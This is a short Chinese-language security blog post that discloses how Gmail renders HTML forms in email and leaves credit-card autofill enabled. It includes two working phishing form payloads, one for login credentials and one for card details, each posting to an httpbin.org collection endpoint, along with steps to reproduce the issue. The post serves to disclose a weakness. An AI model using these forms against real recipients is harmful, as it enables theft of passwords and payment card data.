Gmail 中的 HTML 表单注入漏洞

文摘   2024-09-18 22:22   上海  

声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由用户承担全部法律及连带责任,文章作者不承担任何法律及连带责任。


博客新域名:https://gugesay.com

不想错过任何消息?设置星标↓ ↓ ↓


前言

你是否知道 Gmail 允许使用<form>HTML 标记?该功能存在潜在的 安全风险,尤其是在尝试窃取用户凭据或敏感信息时。

如果攻击者尝试通过在电子邮件中嵌入 HTML 表单来捕获用户的密码,如下所示:

<form action="https://httpbin.org/post" method="POST">
<input type="email" name="email" placeholder="Email or phone" required>
<input type="password" name="password" placeholder="Password" required>
<input type="submit" value="Next">
</form>

邮件收件人将看到电子邮件中呈现的表单,但是 Gmail 会显示一条警告消息“Be careful with this message(请小心此信息)”,并禁用自动填充功能,从而降低用户无意中提交凭据的可能性。

利用信用卡自动填充问题

Gmail 不会对请求信用卡详细信息的表单采取同样严格的措施,如果攻击者发送了包含收集信用卡信息表单的电子邮件,自动填充功能默认情况下会处于启用状态。

谷歌似乎将信用卡详细信息视为不如密码那么敏感,但这其实带来了重大的安全风险。

重现

  1. 在 Google Chrome 中,导航至“chrome://settings/ payment”

  2. 在付款方式下,添加假信用卡

  1. 作为攻击者,发送以下 HTML 表单:

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Credit Card Payment</title>
</head>
<body>
<div class="payment-container">
<h2>Credit Card Payment</h2>
<form action="https://httpbin.org/post" method="POST">
<label for="cardholder-name">Cardholder Name</label>
<input type="text" id="cardholder-name" name="cardholder_name" placeholder="John Doe" required>

<label for="card-number">Card Number</label>
<input type="number" id="card-number" name="card_number" placeholder="1234 5678 9012 3456" required>

<label for="expiry-date">Expiration Date</label>
<input type="text" id="expiry-date" name="expiry_date" placeholder="MM/YY" required>

<label for="cvv">CVV</label>
<input type="number" id="cvv" name="cvv" placeholder="123" required>

<input type="submit" value="Pay Now">
</form>
</div>
</body>
</html>
  1. 当受害者打开电子邮件时,他们会看到表格,并且允许自动填写,从而导致他们的信用卡信息意外泄露

遗憾的是,谷歌认为这并非 安全问题。

加入星球,随时交流:


(前50位成员):99元/年
(后续会员定价):128元/年

感谢阅读,如果觉得还不错的话,欢迎分享给更多喜爱的朋友~

====正文结束====

骨哥说事
一个喜爱鼓捣的技术宅
 最新文章